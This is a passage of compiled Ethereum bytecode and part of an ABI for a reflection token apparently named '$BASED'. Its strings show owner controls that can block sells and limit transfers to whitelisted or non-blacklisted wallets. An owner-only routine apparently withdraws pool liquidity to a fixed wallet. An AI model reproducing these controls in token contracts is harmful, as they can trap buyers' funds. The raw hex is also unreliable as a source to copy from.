","type":"address"},{"internalType":"bool","name":"state","type":"bool"}],"name":"updateIsWhitelisted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxBuy","type":"uint256"},{"internalType":"uint256","name":"maxSell","type":"uint256"}],"name":"updateMaxTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateMaxWalletlimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newRouter","type":"address"},{"internalType":"address","name":"newPair","type":"address"}],"name":"updateRouterAndPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"whitelistEnable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}]

6080604052600d805460ff191690556000600e55620000216009600a6200070b565b6200003390653f23337fd34462000723565b601181905562000046906000196200073d565b620000549060001962000760565b6012556602d79883d2000060135568096881316b0289ee0060148190556015819055601655601880546001600160a01b03199081167355ef0aa35e4960ed32e40081a659ba65aa9add0a1790915560198054821673e3f7cad5c871b1af011b11776bbcc12b20fb2a73179055601a80548216737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155604080516080808201835260008083526003602080850182905260018587018190526060958601849052601b849055601c839055601d819055601e8490558651948501875283855284820183905295840183905292909301849052601f819055919055602155602255602780548316909117905560298054909116737452ee6c8cb3acab82af1dd49f9033a1e27080de1790553480156200018157600080fd5b506200018d33620005a6565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90506000816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001e7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200020d919062000776565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200025b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000281919062000776565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002cf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f5919062000776565b602754602a80546001600160a01b039283166001600160a01b031991821617909155600f805482168684161790556010805482169284169283179055602880549091169091179055601254909150600160006200035a6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120939093553083526004918290528220805460ff1916600190811790915591620003a96000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601854821681526004845282812080548616600190811790915560195490921681528281208054861683179055308152600693849052918220805490941681179093556200042d6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601054821681526006909352818320805485166001908117909155601854821684528284208054861682179055601954909116835290822080549093161790915560115490600390620004b66000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120601a805484168352908552838220959095556009805460ff199081169091553082526008855283822080548216600190811790915582548416835284832080548316821790556010548416835284832080548316821790559554831682528382208054821687179055601854831682528382208054821687179055601954831682528382208054909116909517909455835460115492519283521692917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050620007a1565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200064d578160001904821115620006315762000631620005f6565b808516156200063f57918102915b93841c939080029062000611565b509250929050565b600082620006665750600162000705565b81620006755750600062000705565b81600181146200068e57600281146200069957620006b9565b600191505062000705565b60ff841115620006ad57620006ad620005f6565b50506001821b62000705565b5060208310610133831016604e8410600b8410161715620006de575081810a62000705565b620006ea83836200060c565b8060001904821115620007015762000701620005f6565b0290505b92915050565b60006200071c60ff84168362000655565b9392505050565b8082028115828204841417620007055762000705620005f6565b6000826200075b57634e487b7160e01b600052601260045260246000fd5b500690565b81810381811115620007055762000705620005f6565b6000602082840312156200078957600080fd5b81516001600160a01b03811681146200071c57600080fd5b613bf180620007b16000396000f3fe608060405234801561001057600080fd5b50600436106103c55760003560e01c806375f0a874116101ff578063cec4ab9c1161011a578063ea2f0b37116100ad578063f480fec21161007c578063f480fec2146108ee578063f5ae497a14610901578063f66895a314610914578063f887ea401461092a57600080fd5b8063ea2f0b37146108a8578063ee36e359146108bb578063ee7f4070146108c8578063f2fde38b146108db57600080fd5b8063d932eff9116100e9578063d932eff914610840578063dd62ed3e14610853578063e2f456051461088c578063e517f2b91461089557600080fd5b8063cec4ab9c14610804578063d257b34f14610811578063d2ce0db214610824578063d8672e511461082d57600080fd5b80639ba5e4d511610192578063a9059cbb11610161578063a9059cbb146107b8578063aacebbe3146107cb578063b5c57145146107de578063c7639d80146107f157600080fd5b80639ba5e4d514610769578063a12a7d611461077f578063a457c2d714610792578063a8aa1b31146107a557600080fd5b80638da5cb5b116101ce5780638da5cb5b146106f95780638e2839ff1461070a578063924de9b71461071d57806395d89b411461073057600080fd5b806375f0a87414610694578063762816d6146106a75780637b208769146106ba57806388f82020146106cd57600080fd5b80634a999118116102ef578063652e2f04116102825780636ddd1713116102515780636ddd17131461063157806370a0823114610643578063715018a614610656578063728f8eea1461065e57600080fd5b8063652e2f041461060e57806366a88d961461061757806367b9a286146106205780636aa5b37f1461062857600080fd5b80635aff5999116102be5780635aff5999146105995780635b24ea5e146105ac5780635fae0576146105bf57806362695eae146105eb57600080fd5b80634a9991181461053a5780634ada218b1461054d5780635342acb41461055a57806359759f611461058657600080fd5b8063313ce567116103675780633e65d4aa116103365780633e65d4aa146104ee57806340b28c2f1461050157806342966c6814610514578063437823ec1461052757600080fd5b8063313ce5671461048e5780633268cc561461049d578063379ba1d9146104c857806339509351146104db57600080fd5b806318160ddd116103a357806318160ddd1461044d57806323b872dd1461045f578063274a533c146104725780632d8381191461047b57600080fd5b806306fdde03146103ca578063095ea7b31461041557806313f97a8e14610438575b600080fd5b60408051808201909152600681527f244241534544000000000000000000000000000000000000000000000000000060208201525b60405161040c9190613556565b60405180910390f35b6104286104233660046135c9565b61093d565b604051901515815260200161040c565b61044b61044636600461360e565b6109d1565b005b6011545b60405190815260200161040c565b61042861046d366004613694565b610a90565b61045160175481565b6104516104893660046136d5565b610bcf565b6040516009815260200161040c565b6027546104b0906001600160a01b031681565b6040516001600160a01b03909116815260200161040c565b61044b6104d63660046136ee565b610c66565b6104286104e93660046135c9565b610cea565b61044b6104fc36600461370b565b610d9a565b61044b61050f366004613728565b610e11565b61044b6105223660046136d5565b610e94565b61044b61053536600461370b565b610f1c565b61044b6105483660046136ee565b610f88565b600b546104289060ff1681565b61042861056836600461370b565b6001600160a01b031660009081526004602052604090205460ff1690565b61044b610594366004613761565b610fe3565b6029546104b0906001600160a01b031681565b61044b6105ba366004613783565b611061565b6104286105cd36600461370b565b6001600160a01b031660009081526008602052604090205460ff1690565b6104286105f936600461370b565b60066020526000908152604090205460ff1681565b61045160155481565b61045160165481565b61044b6110d4565b61045160145481565b600b5461042890610100900460ff1681565b61045161065136600461370b565b61131c565b61044b611381565b601b54601c54601d54601e546106749392919084565b60408051948552602085019390935291830152606082015260800161040c565b6018546104b0906001600160a01b031681565b602a546104b0906001600160a01b031681565b6019546104b0906001600160a01b031681565b6104286106db36600461370b565b6001600160a01b031660009081526005602052604090205460ff1690565b6000546001600160a01b03166104b0565b61044b6107183660046137c7565b6113d5565b61044b61072b3660046136ee565b611489565b60408051808201909152600481527f244253440000000000000000000000000000000000000000000000000000000060208201526103ff565b6023546024546025546026546106749392919084565b61044b61078d36600461389e565b6114eb565b6104286107a03660046135c9565b611594565b6010546104b0906001600160a01b031681565b6104286107c63660046135c9565b6116c2565b61044b6107d936600461370b565b611747565b61044b6107ec366004613783565b6117be565b601a546104b0906001600160a01b031681565b6009546104289060ff1681565b61044b61081f3660046136d5565b611831565b610451600e5481565b61044b61083b3660046136d5565b611895565b61044b61084e366004613783565b6118f9565b610451610861366004613728565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b61045160135481565b61044b6108a33660046138d0565b61196c565b61044b6108b636600461370b565b6119d6565b600d546104289060ff1681565b61044b6108d636600461360e565b611a3f565b61044b6108e936600461370b565b611af8565b61044b6108fc36600461389e565b611bc5565b6028546104b0906001600160a01b031681565b601f546020546021546022546106749392919084565b600f546104b0906001600160a01b031681565b600b54600090339060ff168061096b57506001600160a01b03811660009081526006602052604090205460ff165b6109bc5760405162461bcd60e51b815260206004820152601760248201527f54726164696e67206e6f7420656e61626c65642079657400000000000000000060448201526064015b60405180910390fd5b6109c7338585611c6f565b5060019392505050565b6000546001600160a01b03163314610a195760405162461bcd60e51b81526020600482018190526024820152600080516020613b9c83398151915260448201526064016109b3565b60005b82811015610a8a578160076000868685818110610a3b57610a3b6138ee565b9050602002016020810190610a50919061370b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a828161391a565b915050610a1c565b50505050565b600b54600090849060ff1680610abe57506001600160a01b03811660009081526006602052604090205460ff165b610b0a5760405162461bcd60e51b815260206004820152601760248201527f54726164696e67206e6f7420656e61626c65642079657400000000000000000060448201526064016109b3565b610b15858585611dc7565b6001600160a01b038516600090815260036020908152604080832033845290915290205483811015610baf5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e636500000000000000000000000000000000000000000000000060648201526084016109b3565b610bc38633610bbe8785613933565b611c6f565b50600195945050505050565b6000601254821115610c495760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201527f65666c656374696f6e730000000000000000000000000000000000000000000060648201526084016109b3565b6000610c5361275b565b9050610c5f8184613946565b9392505050565b6000546001600160a01b03163314610cae5760405162461bcd60e51b81526020600482018190526024820152600080516020613b9c83398151915260448201526064016109b3565b600b805461ffff191661ff0019831515908116919091176101008202179091556001148015610cdd5750601754155b15610ce757436017555b50565b600b54600090339060ff1680610d1857506001600160a01b03811660009081526006602052604090205460ff165b610d645760405162461bcd60e51b815260206004820152601760248201527f54726164696e67206e6f7420656e61626c65642079657400000000000000000060448201526064016109b3565b3360008181526003602090815260408083206001600160a01b03891684529091529020546109c791908690610bbe908790613968565b6000546001600160a01b03163314610de25760405162461bcd60e51b81526020600482018190526024820152600080516020613b9c83398151915260448201526064016109b3565b6019805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610e595760405162461bcd60e51b81526020600482018190526024820152600080516020613b9c83398151915260448201526064016109b3565b600f80546001600160a01b0393841673ffffffffffffffffffffffffffffffffffffffff199182161790915560108054929093169116179055565b6000546001600160a01b03163314610edc5760405162461bcd60e51b81526020600482018190526024820152600080516020613b9c83398151915260448201526064016109b3565b3360009081526001602052604081208054839290610efb908490613933565b925050819055508060116000828254610f149190613933565b909155505050565b6000546001600160a01b03163314610f645760405162461bcd60e51b81526020600482018190526024820152600080516020613b9c83398151915260448201526064016109b3565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b03163314610fd05760405162461bcd60e51b81526020600482018190526024820152600080516020613b9c83398151915260448201526064016109b3565b6009805460ff1916911515919091179055565b6000546001600160a01b0316331461102b5760405162461bcd60e51b81526020600482018190526024820152600080516020613b9c83398151915260448201526064016109b3565b6110376009600a613a5f565b6110419083613a6e565b6014556110506009600a613a5f565b61105a9082613a6e565b6015555050565b6000546001600160a01b031633146110a95760405162461bcd60e51b81526020600482018190526024820152600080516020613b9c83398151915260448201526064016109b3565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461111c5760405162461bcd60e51b81526020600482018190526024820152600080516020613b9c83398151915260448201526064016109b3565b6028546040517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152600091829182916001600160a01b0316906370a0823190602401602060405180830381865afa158015611182573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a69190613a85565b602854602a546040517f095ea7b30000000000000000000000000000000000000000000000000000000081526001600160a01b03918216600482015260248101849052929350169063095ea7b3906044016020604051808303816000875af1158015611216573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061123a9190613a9e565b50602a546028546029546001600160a01b03928316926302751cec928116918591889188911661126c42610258613968565b60405160e088901b7fffffffff000000000000000000000000000000000000000000000000000000001681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160408051808303816000875af11580156112f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113159190613abb565b5050505050565b6001600160a01b03811660009081526005602052604081205460ff161561135957506001600160a01b031660009081526002602052604090205490565b6001600160a01b03821660009081526001602052604090205461137b90610bcf565b92915050565b6000546001600160a01b031633146113c95760405162461bcd60e51b81526020600482018190526024820152600080516020613b9c83398151915260448201526064016109b3565b6113d3600061277e565b565b6000546001600160a01b0316331461141d5760405162461bcd60e51b81526020600482018190526024820152600080516020613b9c83398151915260448201526064016109b3565b60005b8251811015611484578160046000858481518110611440576114406138ee565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061147c8161391a565b915050611420565b505050565b6000546001600160a01b031633146114d15760405162461bcd60e51b81526020600482018190526024820152600080516020613b9c83398151915260448201526064016109b3565b600b80549115156101000261ff0019909216919091179055565b6000546001600160a01b031633146115335760405162461bcd60e51b81526020600482018190526024820152600080516020613b9c83398151915260448201526064016109b3565b6040805160808101825285815260208101859052808201849052606001829052601b859055601c849055601d839055601e829055517f846206d6c3449ac0b05841dfb88bf28b55aef00f96152490c69c96238048de1590600090a150505050565b600b54600090339060ff16806115c257506001600160a01b03811660009081526006602052604090205460ff165b61160e5760405162461bcd60e51b815260206004820152601760248201527f54726164696e67206e6f7420656e61626c65642079657400000000000000000060448201526064016109b3565b3360009081526003602090815260408083206001600160a01b0388168452909152902054838110156116a85760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084016109b3565b6116b73386610bbe8785613933565b506001949350505050565b600b54600090339060ff16806116f057506001600160a01b03811660009081526006602052604090205460ff165b61173c5760405162461bcd60e51b815260206004820152601760248201527f54726164696e67206e6f7420656e61626c65642079657400000000000000000060448201526064016109b3565b6109c7338585611dc7565b6000546001600160a01b0316331461178f5760405162461bcd60e51b81526020600482018190526024820152600080516020613b9c83398151915260448201526064016109b3565b6018805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6000546001600160a01b031633146118065760405162461bcd60e51b81526020600482018190526024820152600080516020613b9c83398151915260448201526064016109b3565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146118795760405162461bcd60e51b81526020600482018190526024820152600080516020613b9c83398151915260448201526064016109b3565b6118856009600a613a5f565b61188f9082613a6e565b60135550565b6000546001600160a01b031633146118dd5760405162461bcd60e51b81526020600482018190526024820152600080516020613b9c83398151915260448201526064016109b3565b6118e96009600a613a5f565b6118f39082613a6e565b60165550565b6000546001600160a01b031633146119415760405162461bcd60e51b81526020600482018190526024820152600080516020613b9c83398151915260448201526064016109b3565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146119b45760405162461bcd60e51b81526020600482018190526024820152600080516020613b9c83398151915260448201526064016109b3565b6119bf816001613a6e565b600e5550600d805460ff1916911515919091179055565b6000546001600160a01b03163314611a1e5760405162461bcd60e51b81526020600482018190526024820152600080516020613b9c83398151915260448201526064016109b3565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b03163314611a875760405162461bcd60e51b81526020600482018190526024820152600080516020613b9c83398151915260448201526064016109b3565b60005b82811015610a8a578160086000868685818110611aa957611aa96138ee565b9050602002016020810190611abe919061370b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580611af08161391a565b915050611a8a565b6000546001600160a01b03163314611b405760405162461bcd60e51b81526020600482018190526024820152600080516020613b9c83398151915260448201526064016109b3565b6001600160a01b038116611bbc5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016109b3565b610ce78161277e565b6000546001600160a01b03163314611c0d5760405162461bcd60e51b81526020600482018190526024820152600080516020613b9c83398151915260448201526064016109b3565b6040805160808101825285815260208082018690528183018590526060909101839052601f86905584905560218390556022829055517f846206d6c3449ac0b05841dfb88bf28b55aef00f96152490c69c96238048de1590600090a150505050565b6001600160a01b038316611cea5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016109b3565b6001600160a01b038216611d665760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016109b3565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316611e435760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016109b3565b6001600160a01b038216611ebf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016109b3565b60008111611f355760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d75737420626520677265617465722060448201527f7468616e207a65726f000000000000000000000000000000000000000000000060648201526084016109b3565b611f3e8361131c565b811115611fb35760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f72652060448201527f7468616e20796f75722062616c616e636500000000000000000000000000000060648201526084016109b3565b6001600160a01b03831660009081526007602052604090205460ff16158015611ff557506001600160a01b03821660009081526007602052604090205460ff16155b6120415760405162461bcd60e51b815260206004820152600d60248201527f596f7520617265206120626f740000000000000000000000000000000000000060448201526064016109b3565b60095460ff16156120b4576001600160a01b03831660009081526008602052604090205460ff166120b45760405162461bcd60e51b815260206004820152601760248201527f596f7520617265206e6f742077686974656c697374656400000000000000000060448201526064016109b3565b6001600160a01b03831660009081526004602052604090205460ff161580156120f657506001600160a01b03821660009081526004602052604090205460ff16155b1561214d57600b5460ff1661214d5760405162461bcd60e51b815260206004820152601260248201527f54726164696e67206e6f7420616374697665000000000000000000000000000060448201526064016109b3565b6001600160a01b03831660009081526004602052604090205460ff1615801561218f57506001600160a01b03821660009081526004602052604090205460ff16155b80156121a857506017546121a4906003613968565b4311155b15612230576010546001600160a01b03908116908316036122305760405162461bcd60e51b8152602060048201526024808201527f53656c6c73206e6f7420616c6c6f77656420666f72206669727374203320626c60448201527f6f636b730000000000000000000000000000000000000000000000000000000060648201526084016109b3565b6010546001600160a01b03848116911614801561226657506001600160a01b03821660009081526004602052604090205460ff16155b801561227b5750600b5462010000900460ff16155b15612337576014548111156122d25760405162461bcd60e51b815260206004820152601d60248201527f596f752061726520657863656564696e67206d61784275794c696d697400000060448201526064016109b3565b601654816122df8461131c565b6122e99190613968565b11156123375760405162461bcd60e51b815260206004820181905260248201527f596f752061726520657863656564696e67206d617857616c6c65744c696d697460448201526064016109b3565b6010546001600160a01b0384811691161480159061236e57506001600160a01b03821660009081526004602052604090205460ff16155b801561239357506001600160a01b03831660009081526004602052604090205460ff16155b80156123a85750600b5462010000900460ff16155b15612518576015548111156123ff5760405162461bcd60e51b815260206004820152601e60248201527f596f752061726520657863656564696e67206d617853656c6c4c696d6974000060448201526064016109b3565b6010546001600160a01b0383811691161461247957601654816124218461131c565b61242b9190613968565b11156124795760405162461bcd60e51b815260206004820181905260248201527f596f752061726520657863656564696e67206d617857616c6c65744c696d697460448201526064016109b3565b600d5460ff1615612518576001600160a01b0383166000908152600c60205260408120546124a79042613933565b9050600e548110156124fb5760405162461bcd60e51b815260206004820152601060248201527f436f6f6c646f776e20656e61626c65640000000000000000000000000000000060448201526064016109b3565b506001600160a01b0383166000908152600c602052604090204290555b6125246009600a613a5f565b61252f90600a613a6e565b816125398561131c565b6125439190613933565b11612568576125518361131c565b61255b9082613933565b6125659082613933565b90505b60006013546125763061131c565b600b54911115915062010000900460ff1615801561259b5750600b54610100900460ff165b80156125a45750805b80156125be57506010546001600160a01b03858116911614155b80156125e357506001600160a01b03841660009081526004602052604090205460ff16155b801561260857506001600160a01b03831660009081526004602052604090205460ff16155b15612694576010546001600160a01b039081169084160361265e5760135460408051608081018252601f548152602080549082015260215491810191909152602254606082015261265991906127db565b612694565b60135460408051608081018252601b548152601c546020820152601d5491810191909152601e54606082015261269491906127db565b600b5460019060009062010000900460ff16806126c957506001600160a01b03861660009081526004602052604090205460ff165b806126ec57506001600160a01b03851660009081526004602052604090205460ff165b156126f657600091505b6010546001600160a01b0390811690861603612710575060015b6010546001600160a01b0386811691161480159061273c57506010546001600160a01b03878116911614155b1561274657600091505b6127538686868585612935565b505050505050565b6000806000612768612bcb565b90925090506127778183613946565b9250505090565b600080546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600b805462ff00001916620100001790556060810151602082015160408301516000929161280891613968565b6128129190613968565b61281d906002613a6e565b90506000818360400151856128329190613a6e565b61283c9190613946565b9050600061284a8286613933565b90504761285682612d4e565b60006128628247613933565b905060008660400151866128769190613933565b6128809083613946565b905060008760400151826128949190613a6e565b905080156128a6576128a68682612ed2565b60208801516000906128b9846002613a6e565b6128c39190613a6e565b905080156128e1576018546128e1906001600160a01b031682612fb8565b60608901516000906128f4856002613a6e565b6128fe9190613a6e565b9050801561291c5760195461291c906001600160a01b031682612fb8565b5050600b805462ff000019169055505050505050505050565b60006129428484846130d1565b6001600160a01b03871660009081526005602052604090205490915060ff16156129a4576001600160a01b03861660009081526002602052604090205461298a908590613933565b6001600160a01b0387166000908152600260205260409020555b6001600160a01b03851660009081526005602052604090205460ff1615612a075760a08101516001600160a01b0386166000908152600260205260409020546129ed9190613968565b6001600160a01b0386166000908152600260205260409020555b80516001600160a01b038716600090815260016020526040902054612a2c9190613933565b6001600160a01b0380881660009081526001602090815260408083209490945584015191881681529190912054612a639190613968565b6001600160a01b0386166000908152600160205260409020556060810151151580612a92575060008160e00151115b15612b1457612aa981606001518260e0015161316f565b306001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8361010001518460c001518560e00151612af89190613968565b612b029190613968565b60405190815260200160405180910390a35b600081604001511180612b2b575060008160c00151115b15612b4257612b4281604001518260c00151613204565b600081608001511180612b5a57506000816101000151115b15612b7257612b728160800151826101000151613290565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360a00151604051612bbb91815260200190565b60405180910390a3505050505050565b6012546011546000918291825b600a54811015612d1d578260016000600a8481548110612bfa57612bfa6138ee565b60009182526020808320909101546001600160a01b031683528201929092526040019020541180612c6557508160026000600a8481548110612c3e57612c3e6138ee565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15612c7b57601254601154945094505050509091565b60016000600a8381548110612c9257612c926138ee565b60009182526020808320909101546001600160a01b03168352820192909252604001902054612cc19084613933565b925060026000600a8381548110612cda57612cda6138ee565b60009182526020808320909101546001600160a01b03168352820192909252604001902054612d099083613933565b915080612d158161391a565b915050612bd8565b50601154601254612d2e9190613946565b821015612d45576012546011549350935050509091565b90939092509050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612d8357612d836138ee565b6001600160a01b03928316602091820292909201810191909152600f54604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c46489260048083019391928290030181865afa158015612df5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e199190613adf565b81600181518110612e2c57612e2c6138ee565b6001600160a01b039283166020918202929092010152600f54612e529130911684611c6f565b600f546040517f791ac9470000000000000000000000000000000000000000000000000000000081526001600160a01b039091169063791ac94790612ea4908590600090869030904290600401613afc565b600060405180830381600087803b158015612ebe57600080fd5b505af1158015612753573d6000803e3d6000fd5b600f54612eea9030906001600160a01b031684611c6f565b600f546001600160a01b031663f305d719823085600080612f136000546001600160a01b031690565b60405160e088901b7fffffffff000000000000000000000000000000000000000000000000000000001681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015612f93573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906113159190613b6d565b804710156130085760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016109b3565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114613055576040519150601f19603f3d011682016040523d82523d6000602084013e61305a565b606091505b50509050806114845760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016109b3565b6131206040518061012001604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b61312b84848461331c565b905061314081858561313b61275b565b6134a2565b6060850152604084015260208301528152613163818461315e61275b565b61352e565b60808201529392505050565b80602360020160008282546131849190613968565b90915550503060009081526005602052604090205460ff16156131d1576010546001600160a01b0316600090815260026020526040812080548392906131cb908490613968565b90915550505b6010546001600160a01b0316600090815260016020526040812080548492906131fb908490613968565b90915550505050565b80602360010160008282546132199190613968565b90915550503060009081526005602052604090205460ff1615613266576018546001600160a01b031660009081526002602052604081208054839290613260908490613968565b90915550505b6018546001600160a01b0316600090815260016020526040812080548492906131fb908490613968565b80602360030160008282546132a59190613968565b90915550503060009081526005602052604090205460ff16156132f2576019546001600160a01b0316600090815260026020526040812080548392906132ec908490613968565b90915550505b6019546001600160a01b0316600090815260016020526040812080548492906131fb908490613968565b61336b6040518061012001604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b8261337c5760a08101849052610c5f565b6133a76040518060800160405280600081526020016000815260200160008152602001600081525090565b82156133dc575060408051608081018252601f5481526020805490820152602154918101919091526022546060820152613407565b5060408051608081018252601b548152601c546020820152601d5491810191909152601e5460608201525b60648160200151866134199190613a6e565b6134239190613946565b60c0830152604081015160649061343a9087613a6e565b6134449190613946565b60e0830152606081015160649061345b9087613a6e565b6134659190613946565b610100830181905260e083015160c08401516134819088613933565b61348b9190613933565b6134959190613933565b60a0830152509392505050565b60008080806134b18588613a6e565b9350856134c657508291506000905080613523565b848860c001516134d69190613a6e565b9150848860e001516134e89190613a6e565b90506000858961010001516134fd9190613a6e565b9050808261350b8588613933565b6135159190613933565b61351f9190613933565b9350505b945094509450949050565b60008261353d57506000610c5f565b8184610100015161354e9190613a6e565b949350505050565b600060208083528351808285015260005b8181101561358357858101830151858201604001528201613567565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ce757600080fd5b80356135c4816135a4565b919050565b600080604083850312156135dc57600080fd5b82356135e7816135a4565b946020939093013593505050565b8015158114610ce757600080fd5b80356135c4816135f5565b60008060006040848603121561362357600080fd5b833567ffffffffffffffff8082111561363b57600080fd5b818601915086601f83011261364f57600080fd5b81358181111561365e57600080fd5b8760208260051b850101111561367357600080fd5b60209283019550935050840135613689816135f5565b809150509250925092565b6000806000606084860312156136a957600080fd5b83356136b4816135a4565b925060208401356136c4816135a4565b929592945050506040919091013590565b6000602082840312156136e757600080fd5b5035919050565b60006020828403121561370057600080fd5b8135610c5f816135f5565b60006020828403121561371d57600080fd5b8135610c5f816135a4565b6000806040838503121561373b57600080fd5b8235613746816135a4565b91506020830135613756816135a4565b809150509250929050565b6000806040838503121561377457600080fd5b50508035926020909101359150565b6000806040838503121561379657600080fd5b82356137a1816135a4565b91506020830135613756816135f5565b634e487b7160e01b600052604160045260246000fd5b600080604083850312156137da57600080fd5b823567ffffffffffffffff808211156137f257600080fd5b818501915085601f83011261380657600080fd5b813560208282111561381a5761381a6137b1565b8160051b604051601f19603f8301168101818110868211171561383f5761383f6137b1565b60405292835281830193508481018201928984111561385d57600080fd5b948201945b8386101561388257613873866135b9565b85529482019493820193613862565b96506138919050878201613603565b9450505050509250929050565b600080600080608085870312156138b457600080fd5b5050823594602084013594506040840135936060013592509050565b600080604083850312156138e357600080fd5b82356135e7816135f5565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161392c5761392c613904565b5060010190565b8181038181111561137b5761137b613904565b60008261396357634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561137b5761137b613904565b600181815b808511156139b657816000190482111561399c5761399c613904565b808516156139a957918102915b93841c9390800290613980565b509250929050565b6000826139cd5750600161137b565b816139da5750600061137b565b81600181146139f057600281146139fa57613a16565b600191505061137b565b60ff841115613a0b57613a0b613904565b50506001821b61137b565b5060208310610133831016604e8410600b8410161715613a39575081810a61137b565b613a43838361397b565b8060001904821115613a5757613a57613904565b029392505050565b6000610c5f60ff8416836139be565b808202811582820484141761137b5761137b613904565b600060208284031215613a9757600080fd5